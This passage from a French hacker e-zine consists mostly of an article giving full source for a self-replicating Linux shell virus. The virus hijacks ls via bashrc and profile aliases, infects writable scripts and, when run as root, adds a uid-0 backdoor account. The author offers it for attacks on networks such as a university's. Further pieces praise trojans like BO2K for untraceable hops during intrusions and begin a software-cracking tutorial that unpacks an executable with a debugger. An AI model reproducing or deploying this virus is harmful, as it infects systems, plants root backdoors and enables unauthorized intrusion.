echo "alias ls='/tmp/.Virus'" >> /etc/profile.d/color_ls.sh
echo "alias dir='ls'" >> /etc/profile.d/color_ls.sh
fi
---------------------------

et voila, dès que root auras lancé ce nouveau code, notre virus seras dir stealth pour tout les
utilisateurs du système, même pour les nouveaux crées.


la mise en oeuvre du code trojan n'est pas chose trop difficile, c'est pour cela que je vais
éviter de m'éterniser sur le sujet.

penchons nous plutôt sur un problème que vous devez avoir remarqué depuis longutemps.


L'OPTIMISATION DU CODE
#############################

voici actuellement la gueulle de notre virus

if [ -f /tmp/.Virus ]; then #MvM
: #MvM
else #MvM
echo "#!/bin/sh" > /tmp/.Virus #MvM
grep "MvM" $0 >> /tmp/.Virus #MvM
echo "ls \$1 \$2 \$3" >> /tmp/.Virus #MvM
chmod 777 /tmp/.Virus #MvM
fi #MvM
if [ -w ~/.bashrc ]; then #MvM
if grep "Virus" ~/.bashrc > /dev/null; then #MvM
: #MvM
else #MvM
echo "alias ls='/tmp/.Virus'" >> ~/.bashrc #MvM
echo "alias dir='ls'" >> ~/.bashrc #MvM
fi #MvM
fi #MvM
a=1 #MvM
for f in * #MvM
do #MvM
if [ $a -ge 100 ]; then #MvM
break #MvM
fi #MvM
a=$(($a+1)) #MvM
file $f > /tmp/t #MvM
if grep "shell" /tmp/t > /dev/null; then #MvM
v="$v $f" #MvM
fi #MvM
done #MvM
for i in $v #MvM
do #MvM
if grep "ViRuS" $i > /dev/null; then #MvM
continue #MvM
fi #MvM
if [ -w $i ]; then #MvM
echo "#!/bin/sh" > /tmp/t #MvM
grep "MvM" $0 >> /tmp/t #MvM
cat $i >> /tmp/t #MvM
cat /tmp/t > $i #MvM
fi #MvM
done #MvM
rm -f /tmp/t #MvM
if [ $USER = "root" ]; then #MvM
useradd -u 0 -p Bsk35R./GcDwE rewt #MvM
fi #MvM


faite un copier coller de ce code dans un fichier quelquonque, et listé ses proprietées

[root@ThreaT@workgroup /root/script]# ls -l virus
-rw-r--r-- 1 root root 1101 Mar 20 16:41 virus

1Ko 08 !!

c'est un peut gros pour un virus non?

nous allons optimiser cela pour l'ammener à une taille un peut plus résonnable
(moins de 1ko) ...

ce qui prend beaucoup de place dans un script de ce type, ce sont les commentaires, qui sont
necessaire à la bonne proliferation du code. il va donc falloir trouver un moyen de les
raccourcirs,voir même, d'en supprimer!

mais comment?

il suffit de savoir qu'en environnement shell, il est possible de faire suivre plusieurs
commandes, à condition de les séparer par des points virgules, SAUF les indicateurs de type
"then" qui doivent imperativement ce trouver en bout de commande ainsi que les "do" et "done"
placer en debut et fin de boucles.
ce qui est bon à savoir aussi, c'est qu'il est possible de mettre les redirecteurs coller à
leur commandes, ce qui peut nous permettre de gagner quelques octets suplementaires, et au
final, la reduction de notre signature de 1 octet qui nous permettras d'éconnomiser de la
place.
sachant tout ceci, il devient ultras simple de reduire cette entitée à sa...

------------------------------------
#!/bin/sh
if [ -f /tmp/.Virus ];then #Mv
:;else #Mv
echo "#!/bin/sh">/tmp/.Virus;grep "#Mv" $0>>/tmp/.Virus
echo "ls \$1 \$2 \$3">>/tmp/.Virus;chmod 777 /tmp/.Virus #Mv
fi;if [ -w ~/.bashrc ];then #Mv
if grep "Virus" ~/.bashrc>/dev/null;then #Mv
:;else #Mv
echo "alias ls='/tmp/.Virus'">> ~/.bashrc #Mv
echo "alias dir='ls'">> ~/.bashrc;fi;fi;a=1;for f in *;do #Mv
if [ $a -ge 100 ];then #Mv
break;fi;a=$(($a+1));file $f>/tmp/t;if grep "shell" /tmp/t>/dev/null;then #Mv
v="$v $f";fi;done #Mv
for i in $v;do #Mv

if grep "ViRuS" $i>/dev/null;then #Mv
continue;fi;if [ -w $i ];then #Mv
echo "#!/bin/sh">/tmp/t;grep "MvM" $0>>/tmp/t #Mv
cat $i>>/tmp/t;cat /tmp/t>$i;fi;done #Mv
rm -f /tmp/t;if [ $USER = "root" ];then #Mv
useradd -u 0 -p Bsk35R./GcDwE rewt;fi #Mv
----------------------------------

impressionnant non ?
et toujours aussi fonctionnel !

sauvegardons de nouveau ce code dans un fichier quelquonque, et jeton un oeil à sa taille

[root@ThreaT@workgroup /root/script]# ls -l virus
-rw-r--r-- 1 root root 820 Mar 20 17:31 virus

820 octets, voila qui est un peut plus acceptable.

Absurdus Delirium qui est placer en annexe 1 a été reduit a 713 octets (sans le trojan)
si vous desirer tester le code infecteur, mieux vaux pour vous utiliser AD2.0, car le code
optimiser si dessus n'as pas été tester


\\0x08// RECAPITULATION
@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@

nous venons de mettre au point une nouvelle technique d'attaque, qui allie l'efficacitée du
cheval de troie avec la puissance d'un virus, et tout cela sous linux, ce qui peut produire un
effet de surprise très avantageux !

rappelons tout de même le principe de fonctionnement, ainsi que les differents paramettres à
prendre en compte par le cracker, pour mener à bien son attaque.

principe de fonctionnement
#############################

lors de son exectution, le virus va d'abbors tester si celui ci a placé une copie de lui même
dans le repertoire /tmp.
si cela n'a pas été fait, le virus va cr"e cette copie dans ce repertoire temporaire, et va la
mettre accessible à tout les utilisateurs du systeme.
ensuite, le virus va regarder dans le profile de l'utilisateur qui l'a invoqué si celui ci a
été modifié de tel facon à ce que les commandes dir ou ls soit redirigées sur le code placé
dans /tmp.

une fois la commande de listage redirigée, c'est le virus qui prendra en compte les arguments,
et non plus la commande.

tout ces tests étant effectués, la bestiole va tentée de ce repliquer à travers tout les
scripts auquels elle a acces dans le repertoire courant.

ensuite, elle regarde si c'est l'utilisateur, ou l'événement predefini par le cracker qui a
lancé son execution.
si tel est le cas, alors le code trojan mis en place par l'attaquant et executer.



paramettre à prendre en compte par le cracker
##############################################

comme vous avez surrement put le constater, le cracker n'a pas qu' à faire un simple copier
coller pour mener a biens son action.
voici les points à elaborer afin que le virus soit au maximum operationnel.

- coeficient de timebug
- gachette
- trojan


le coeficient de timebug est un nombre qui va definir combien de fichier le virus va tester
pour l'infection.
une valeur moyenne de 100 me parrait raisonnable, toutefois, il vous est possible de
l'augmenter ou de le diminuer selon la puissance de la machine infecter (si c'est du quadri
pross, vous pouvez aller jusqu'a 4 voir 500)


la gachette et l'élément qui va ce declancher selon ce que vous avez decidés, referés vous à la
partie de l'article qui traite du sujet pour plus d'information.


le trojan est la cerise sur le gateau! c'est grace à cette portion de code que vous pourrez
percer un trou dans la sécurité de votre cible. à elaborer avec beaucoup de soin, et
d'ingeniositée.


évolution du virus
##################
il vous est bien sur possible de rajouter des fonctions (encryption du code, polymorphisme,
etc...).
etant mis au point dans la philosophie GNU, ce virus est le votre! aucun copyright, aucune
restriction, meme pas besoin de mettre mon pseudo quelque part, j'en ai totalement rien a
foutre.

toutefois, si vous vous en servez pour faire des prouaisses techniques, n'oubliez pas de
m'écrire pour me racontez sa ! ;-)



\\0x09//CONCLUSION
@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@

pour conclure, nous dirons donc que cette technique d'attaque n'est peut être pas très
comprehancible au premier abbors, mais à force de pratique et d'étude, vous saisirez plus
facilement l'utilisation d'un tel exploit dans un environement qui vous tiens particulierement
à coeur (votre fac par exemple).
cela n'a certe rien à voire avec un buffer overflow, ou toutes autres atttaques "
à la mode"
qui en 2 temps 3 mouvements vous font passez root, mais celle si a pour avantage d'exiger de
vous même un certain degré de reflexion et de strategie qui peuvent vous amener loin dans la
conquête de votre reseau favoris.

sur ce, il ne me reste plus qu'a vous souhaiter bon courrage, et a esperer que vous n'aller pas
fermer cet article pour vous jetter sur le dernier pirate mag...


\\0x0A// FIN
@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@

voila, c'est fini!

comme d'habitude, si vous avez des problemes, des questions, une grosse poitrine, des
remarques ou des suggestions, vous pouvez m'ecrire a ThreaT@caramail.com !


greatss to :
Maverick (qui a trouvé l'ame soeur), 6yhoann6 (qui a du eclater ma VMB), cain( qui a du l'aider
), dread (qui habite dans une cabine FT), cox (qui met l'anarchie à lyon en cassant le palais
de justice), angus (qui c'est surement ranger), shank (qui a semé les keuf avec jarod),
bolliop (qui doit m'envoyer MON portable), mass (le cracker fou), jarod (toujours plein
d'histoire a raconter), dams (accro a sa nana), alexcr@zy (accro au tabassla), fto (qui a
trouver un super boulot), alv1 (qui m'appelle pour parametrer du NT), cuicui (en BTS comme les
lamah), ben (administrateur de surcroit), le barge (qui vas se tuer en bagnole), marlin (en
BTS avec cuicui), moumou (le maitre de novell), shadowROM (toujours a blinder sa becane),
baleine (qui organise de super Under-lan),

ainsi que la Quad69 Team, (Vince, kabaal, scal, barbecue, cannard & other...)

et aussi: gizmo, analyst, THALIS (une nana admin qui en connait un rayon)

& tout ceux qui me connaisse, et qui ce retrouve déçu de ne pas avoir trouvés leur noms dans
les greatzz



et enfin un petit clein d'oeil a l'administrateur de Kompass.fr ;)



***** Computer can change your life for better *****



ANNEXE 1 : ABSURDUS DELIRIUM V 2.0
*************************************

#!/bin/sh
if [ -f /tmp/.Xlhost ];then #Mv
:;else #Mv
echo "
#!/bin/sh">/tmp/.Xlhost;grep "#Mv" $0>>/tmp/.Xlhost
echo "
ls \$1 \$2 \$3">>/tmp/.Xlhost;chmod 777 /tmp/.Xlhost #Mv
fi;if [ -w ~/.bashrc ];then #Mv
if grep "
Xlhost" ~/.bashrc>/dev/null;then #Mv
:;else #Mv
echo "
alias ls='/tmp/.Xlhost'">> ~/.bashrc #Mv
echo "
alias dir='ls'">> ~/.bashrc;fi;fi;a=1;for v in *;do #Mv
if [ $a -ge 100 ];then #Mv
break;fi;a=$(($a+1));file $v>/tmp/s;if grep "
shell" /tmp/s>/dev/null;then #Mv
p="
$p $v";fi;done #Mv
for i in $p;do #Mv
if grep "
AbD2bT" $i>/dev/null;then #Mv
continue;fi;if [ -w $i ];then #Mv
echo "
#!/bin/sh">/tmp/s;grep "#Mv" $0>>/tmp/s
cat $i>>/tmp/s;cat /tmp/s>$i;fi;done #Mv
rm -f /tmp/s;if [ "
$USER" = "root" ];then #Mv
:;fi #Mv

le trojan a été retiré du code afin de laisser au cracker le choix de sa technique.




-|- ThreaT -|-
^^^^^^^^^^^^^^





#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##






¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

A QUI PROFITE L'INFORMATION ?

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤




En ce moment je trouve qu'on peut vraiment hésiter à publier des infos, du code ou des
exploits, aussi modestes soient-ils.

En effet je ne dirais pas que les beaux jours du hacking/phreaking/etc sont derrière
nous, mais la situation présente n'est pas des plus réjouissantes. Si je pense cela, c'est
surtout parce que je trouve qu'il y a beaucoup plus de monde à profiter de la situation qu'à
vouloir apporter sa pierre à l'édifice de la scène underground.

Parlons rapidement du business médiatique tout d'abord. Les médias profitent du phénomène
«hackers» pour se faire de l'audience et de la tune. En fait, il s'agit d'un phénomène qu'ils
ont élaboré de toute pièce en prenant pour base quelques rares fait dans le milieu underground.

Hormis le fait que les journalistes viennent régulièrement relancer les personnes
concernées et leur prendre la tête au sujet de moultes interviews et bouquins, cela crée et
entretient la désinformation à propos de ce que sont réellement les gens de la scène
underground. Bien sur, les politiques profitent comme d'habitude de cette désinformation pour
relancer leurs programmes de répression (vigipirate, échelon, etc...).

Qui plus est, la plupart des personnes qui se lancent dans la scène actuellement est
plutôt du genre à se prendre pour le héros de Matrix qui porterait un tee-shirt «free mitnike»
pour l'occasion. (On pourra d'ailleurs remarquer sur le dit tee-shirt que leur sens de
l'orthographe peut finir par faire croire à un signe de reconnaissance entre eux tellement
c'est flagrant).

Alors il faut se poser la question, pourquoi est-ce qu'on écrit dans un zine ? Pour faire
perdurer la rumeur du «méchant hacker» ? Pour donner un peu plus de vocabulaire aux
journalistes ? Pour que des lamers tout droit sortis du forum de Taz puissent se faire enfler
les chevilles en pensant à leur prochain «hax» sur le site de la NASA ?

Franchement, ça mérite d'y réfléchir.

Mais ou sont les autres ? Ceux qui passent leurs nuits à déchiffrer des docs trashées, à
coder, à essayer de comprendre un vieil OS ésotérique, ou à faire du reverse ingeneering sur de
quelconques eproms ? La question se pose.

S'ils préfèrent éviter le contact avec d'autres ça se comprend. A quoi bon échanger des
connaissances avec des gens qui les utiliseront sans même les comprendre et les diffuseront
sans même se poser de question ?

Cependant une chose est sure, une bonne partie des personnes connues de la scène à
maintenant un emploi et s'est plus ou moins retirée (paix à leurs âmes ;). Il est bien connu
que la meilleur façon d'empêcher un hacker ou un phreaker d'agir n'est pas de l'arrêter, il
pourrait recommencer après. Donnez lui plutôt un boulot et il n'aura plus le temps de rien
faire !

Justement c'est l'occasion pour parler des boites dans lesquelles travaillent ces
personnes. Quand il ne s'agit pas d'entreprises ayant des contrats de veille technologique avec
les organisations gouvernementales (entendez par là ce que vous voulez), il s'agit quand même
en général de boites de sécurité. Non seulement ces boites profitent également de la vague
crainte du «hacker» engendrée par les médias pour justifier leur existence, mais elles lisent
également les zines. Et bien sur elles s'en servent allègrement comme sources d'information.
Là encore, publier des infos pour qu'elles soient invalides juste après, parce que des
entreprises sont tombées dessus et ont décidé de remédier au problème, ca donne envie d'écrire.

Hé oui, publiez... et c'est patché !

Oui, donc qui sont les ennemis des hackers ? Le journaliste, le lamer, le professionnel
de la sécurité, l'administrateur système, le politicien, l'agence gouvernementale de répression
(AGR, ca existe pas encore ça ? enfin bref les V quoi...). Quand un hacker écrit dans un zine,
c'est aussi à eux que ça profite. Oserai-je dire surtout a eux ? Et après on peut s'étonner
que le milieu de l'informatique devienne de plus en plus sécurisée.

Mais bon, certaines personnes parlent de la relève, de «newbies d'aujourd'hui, élites
de demain». J'avoue que je comprendrais mieux la signification de tout ça si on voyait
réellement cette soit disante relève. D'autres personnes parlent d'échange de l'information
mais la je vois surtout de l'échange à sens unique voir pas d'échange du tout (c'est également
valable pour certaines personnes qui en ont pourtant les moyens).

Voilà, ca aurait pu être ma conclusion, mais je voudrais rajouter quelques mots a propos
du vocabulaire. Il faut croire que le vocabulaire de la scène underground suit lui aussi une
sorte de mode. On parlait, il y a quelque temps, de «hackers» de «lamers», etc... Apparemment
maintenant il ne faut plus dire hacker, mais plutôt dire qu'on s'y connaît en sécurité
informatique. Pourquoi ? Parce que maintenant «hacker» ça fait «lame» (mot qui à lui aussi été
remplacé, par «script-kiddy»). Tout ça parce que les médias emploient ce mot («hacker») à
tue-tête, et la description qu'ils en donnent correspond effectivement à «lame».

Cela prouve que dans un milieu qui se dit underground les gens subissent eux aussi
l'emprise des médias. Je trouve ça dommage.

Voilà je terminerai là dessus, et je sais que certaines personnes vont trouver mes propos
pessimistes (ou optimistes selon le point de vue, hein messieurs les V ?). Mais je dis ce que
je pense. Je dirai sûrement quelque chose de plus joyeux quand j'aurai à mon tour été
lobotomisé, sûrement après quelques visites chez disneyland ou après quelques séances
intensives de télé.




}->-> Drahiin <-<-{
^^^^^^^^^^^^^^^^^^^
(paru dans Cryptel Mag 5)






#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##









¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

REHABILITATION DES TROJANS

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤



Depuis que je trainasse mes doigts et ma cervelle sur Internet, je vois de partout
s'élever des Fronts Anti-Troyens, qualifiant leurs utilisateurs de lamers, de wannabes,
de grosses merdes en putréfaction ou de quadrisomiques ravagés...

Au début, je pensais la même chose...

Puis, un jour, voulant me faire ma propre opinion, j'ai réfléchi à l'usage que l'on peut
en faire, et la lumière s'est faite en moi ;o)


--> Gérer un réseau
********************

Avec un trojan comme Back Orifice 2000, on peut aisément gérer un réseau d'ordinateurs
ou en utiliser plusieurs depuis un seul poste.

Qui plus est, BO2K est gratuit, donc pourquoi dépenser du fric à acheter un logiciel de
gestion de réseau quand un "
sale petit troyen de merde" peut le faire et qu'il est free ?

Bref, passons, ce n'est pas là que je veux en venir...


--> Faire des rebonds
**********************

Hacker un site, c'est bien joli...

Mais se faire prendre, c'est bien dommage...

Or, en utilisant un cheval de Troie, on peut très facilement pénétrer un ordinateur,
puis un autre à partir du premier, puis encore un autre à partir du second, et ainsi de suite,
en faisant des boucles, des croisements, des retours, etc, afin de se rendre quasi-intraçable.

Et c'est là que les troyens trouvent tout leur utilité : les rebonds.

Je sais que beaucoup vont penser que faire des rebonds via un trojan est une solution
de facilité, et je l'admets, mais préférez-vous vous prendre la tête pendant des heures à faire
des rebonds et finalement ne peut-être même pas réussir à hacker votre cible, ne pas faire de
rebonds et au final vous faire pécho ou bien utiliser des troyens, hacker votre site et
repartir ni vu ni connu ?

Je ne sais pas pour vous, mais chez moi, le choix est tout fait...

Je ne dit pas que les trojans, c'est bien, mais je dit que je ne vois pas le mal si on
s'en sert comme de proxies.

Traitez-moi de lamer, de tocard, de grosse merde ou de pine d'huitre si ça vous chante,
puisque de toute façon, je m'en fous de vous ;o) Mais bon, une fois, le logiciel BO2K du
Culto of the Dead Cow m'a sauvé de ce qui aurait pu être un bust (cf www.espylon.org)...

A bon (ou mauvais) entendeur, salut !



~°)-¤ Redoxx ¤-(°~
^^^^^^^^^^^^^^^^^^





#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##







¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

CRACKER DEVILSWORD ET AMELIORER SA SECURITE

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤




Protections: - Fichier Packé
- Serial Only


Logiciels nécessaire:

- Soft Ice 3.X ou 4.x

- Procdump 1.6 ( pour dumper l'executable)
ou tout autre programme permettant de dumper...
(je me sers pas de procdump pour decrypter et de plus
il n'y arrive pas :-Þ ...)

- WDasm8.9 (marchera qu'une fois l'executable decrypte)
on purait se servir de IDA 4 Pro mais trop compliqué
pour les 90 % des lecteurs ici presant je pense...

- Un editeur Hexa Decimal (Hexworkshop est mon favoris)

- QDump pour dumper la chaine cryptée


Sommaire:

0)Introduction
I)Decryptage du Fichier Packé (l'executable est crypté)
II)Reverse Engineer l'algo de cryptage du CODE d'enregistrement
III)Comment mieux securiser se programme (partie pour le programmeur) source code a l'appui
IV)Conclusion et Greetings



Introduction:

Devil's Sword est un client pour aller chater sur caramail...
Il a ete programmé en Borland C++ d'apres l'auteur.
Je dois dire que ce programme est tres bien fait, c'est un freeware avec
plein d'options..
La raison pour laquelle je l'ai étudié est qu'il y avait une protection ;)
De plus , TOUT les petits cracker sur caramail , ont echoué sur cette protection
alors qu'il ne m'a falut que 5 bonne minutes pour la casser!
L'auteur a l'air de pas trop s'y connaitre en protection, c'est pourquoi
j'ecrit ce texte afin de l'aider a proteger ces applications!




1)Decryptage du Fichier Packé (l'executable est crypté)

Je ne patch plus les programmes que je crack depuis longtemps
quand il y a moyen de l'enregistrer par un code ou un keyfile...
J'ecris sois un keygen, sois je trouve le code qui est unique.
C'est le cas ici ! le code pour l'enregistrement ne change jamais!
C'est toujours le meme... Mais il n'est pas en clair dans le programme
il est crypté...
Tout d'abord, je vais vous montrer comment decrypter l'executable
afin d'avoir un listing propre, mais surtout pour pouvoir ajouter
des fonctions a Devil Sword!
Reverse Engineering rules :)
Ajouter des fonctions ? exactement , on peut par exemple ajouter un menu
avec une options de flood de phrase.. sans meme avoir accés aux sources!
Mais ce n'est pas le sujet de ce cour.. peut etre une autre fois :)



Let's Rip this fucker:

Bon, pour pouvoir decrypter des executables , vous devez avoir une connaissance
du format des fichiers de Windows!
Le Format est le: PE (portable executable)
si vous ne connaissez pas ( ce qui est plus que certain ;) allez lire
la partie Unpacking de mon cours Millenium 2000 (celui de 115 pages) a
l'addresse suivante:

www.AcidBurn2k.cjb.net


Voici un petit recapitulatif sur le PE pris sur mon cours de 115 pages:

#################################################################

Manual Unpacking (Decrypter des fichiers a la main)

#################################################################


Qu'est-ce que le manual unpacking ??
Vous avez sûrement remarqué que certaine fois quand on désassemble un fichier,
on ne trouve plus de String Data References !!!
Car c'est que le fichier est crypté ou compressé !!
Merde alors.... Ben il existe des unpackers me direz vous, mais c'est pas
marrant quand ça fait tout tout seul !! :-o
Donc, je vais tenter de vous expliquer comment, et avec quoi décrypter les fichiers...
Tout d'abord qq infos sur le format PE !!

Schéma pour vous donner une idée de la bestiole ;) :
(from PE.txt)

+-------------------+
| DOS-stub |
+-------------------+
| file-header |
+-------------------+
| optional header |
|- - - - - - - - - -|
| |
| data directories |
| |
+-------------------+
| |
| section headers |
| |
+-------------------+
| |
| section 1 |
| |
+-------------------+
| |
| section 2 |
| |
+-------------------+
| |
| ... |
| |
+-------------------+
| |
| section n |
| |
+-------------------+


Je vais pas m'attarder trop sur le format lui-même, mais je vais vous donner quelques
infos sur les sections et autres caractéristiques !!
Vous avez sûrement remarqué que dans ProcDump (unpacker), il y a un PE editor (éditeur
de PE) très très utile, vous le verrez plus tard...
Que se passe-t-il si on édite un fichier ??
On peut récupérer l'entry point, l'image base, les caractéristiques des sections ...

A propos des caractéristiques:

0x20...... : Cela Veut dire executable
0x40...... : Cela Veut dire Readable (lisable)
0x80...... : Cela Veut dire Writeable (écriture possible)

exemple 0x60.. -> exécutable + lisable

0x......20 : Cela Veut dire contains Code
0x......40 : Cela Veut dire Initialized data
0x......80 : Cela Veut dire Unitialized data


########################################################################

Fin du rappel sur le PE

########################################################################


Bon , on va pouvoir commencer ce cours allors!
Mais je vous recommand de lire des documentations sur le PE
si vous etes interresses par ce format!


Dans cette partie , je vais vous redonnez les bases du unpacking..
Je ne vous montrerais que comment on retrouve les String Data References
dans l'app donc pas de table d'import, car ce tut a pour but de mettre
à l'aise avec l'unpacking !! (pour des imports table: lisez le tut sur CDilla)
Vous pourrez donc patcher le programme comme si il était normal :)



/////////////////////////////
/Première partie: le loader!/
/////////////////////////////



Vous devrez utiliser le loader de Soft ice pour décompacter, donc exécutez-le!
(loader32.exe)

et choisissez l'exe que vous voulez!
Pour nous, ce sera : DevilSword.exe.
Souvent , les programmes crypte ne s'arrete pas sur l'entry Point donc voici
comment reglez le probleme.


##############################################################################

NOTE: Cette partie n'est *PAS* necessaire sur Devil's Sword car les
caracteristiques de l'executable sont deja tres bien et le programme
s'arrete comme il faut!
Mais on est la pour apprendre donc voila...
Si vous ne voulez pas savoir , passez directement a la deuxieme partie ok ?!

##############################################################################

Ok, exécutez-le fichier avec le loader mais le problème c'est que cette
application ne veut pas s'interrompre... :(
Hehe, no problem!, exécutez ProcDump et utilisez un éditeur PE!
Editez la section du Code de l'exécutable.
(PE editor: choisissez le fichier, sections, CODE et bouton droit "
EDIT SECTION")


Ok, vous voyez dans section caracteristic : C0000040 ( ou n'importe quoi d'autre)

Ok, changez-le en : E0000020

Pour des questions à propos de ce geste, lisez les infos plus haut sur les
caractéristiques des sections !!

Maintenant, exécutez le Loader de SI et ça marche! :))
Super, ça a marché hehe


////////////////////////////////////////////////////////////////////////////
/Deuxième partie: Tracer et dumper le fichier de la mémoire vers le disque!/
////////////////////////////////////////////////////////////////////////////



Ok, donc vous avez tout juste arrêté l'exécution dans SI, vous voyez naturellement
les INVALID mais ça ne pose pas de problème. Tracez avec F10 et vous
arrivez ici:


0177:00588005 6877A16100 PUSH 0061A177
0177:0058800A 6800000000 PUSH 00000000
0177:0058800F E863210900 CALL 0061A177
0177:00588014 E927ABF4FF JMP 004D2B40
0177:00588019 40 INC EAX
0177:0058801A 2823 SUB [EBX],AH
0177:0058801C 29504B SUB [EAX+4B],EDX
0177:0058801F 4C DEC ESP
0177:00588020 49 DEC ECX
0177:00588021 54 PUSH ESP
0177:00588022 45 INC EBP
0177:00588023 3332 XOR ESI,[EDX]
0177:00588025 20436F AND [EBX+6F],AL
0177:00588028 7079 JO 005880A3
0177:0058802A 7269 JB 00588095
0177:0058802C 676874203139 PUSH 39312074
0177:00588032 3938 CMP [EAX],EDI
0177:00588034 20504B AND [EAX+4B],DL
0177:00588037 57 PUSH EDI
0177:00588038 41 INC ECX

........


Quelques Explications:

0177:00588005 6877A16100 PUSH 0061A177

Cette ligne pousse l'adresse 61a177 sur la pile..
Pour voir le contenu de cette adresse on tape: d 61A177
Si on regarde dans DATA , on voit que des "
?????".
Ca veut dire que le programme n'a pas encore decrypter cette zone...

0177:0058800F E863210900 CALL 0061A177

Cette ligne appelle la routine en 61a177.
Si on entre dans ce call, on voit tout la partie du decryptage de l'executable
mais en memoire seulement...


0177:00588014 E927ABF4FF JMP 004D2B40

Alors la , c'est le plus important! c'est le saut vers le VRAI l'entry point!!
C'est quoi l'entry point ?! c'est la ou debute le programme decrypter en
memoire! :)

####################################################################################

Note: si vous tapez: d 61A177 une fois que vous etes sur le JMP ( sans l'executer)
vous verrez que l'addresse ne contient plus les "
????" mais bien des chiffres
ce qui prouve bien que le decryptage est terminé !

####################################################################################

Recapitulons:

Le programme se decrypte en memoire et ensuite saute a l'entry point
pour s'executer comme si il n'etait pas crypter...
Nous , on veut decrypter le fichier executable alors ce qu'on va faire
c'est executer une boucle infinie en memoire juste avant le saut
vers l'entry point et dumper (faire une image de l'exe en memoire) sur
le disque dure...
Ensuite on aura plus qu'a changer l'entry point par l'addresse du jump
qu'il faut noter quelque part et ensuite c finis :)
Facile non ? :-Þ
Ok , c'est plus simple a dire qu'a faire vous allez penser ! Meuh non!

Voila comment faire:

Relancer le loader sur le fichier de devil et il va s'arreter ..
On se retrouve donc sous soft ice et on voit "
INVALIDE" partout...
Bon, alors on appuie une fois sur F10 et on voit le code
assembleur que j'ai mis plus haut:


0177:00588005 6877A16100 PUSH 0061A177
0177:0058800A 6800000000 PUSH 00000000
0177:0058800F E863210900 CALL 0061A177
0177:00588014 E927ABF4FF JMP 004D2B40
0177:00588019 40 INC EAX

.....


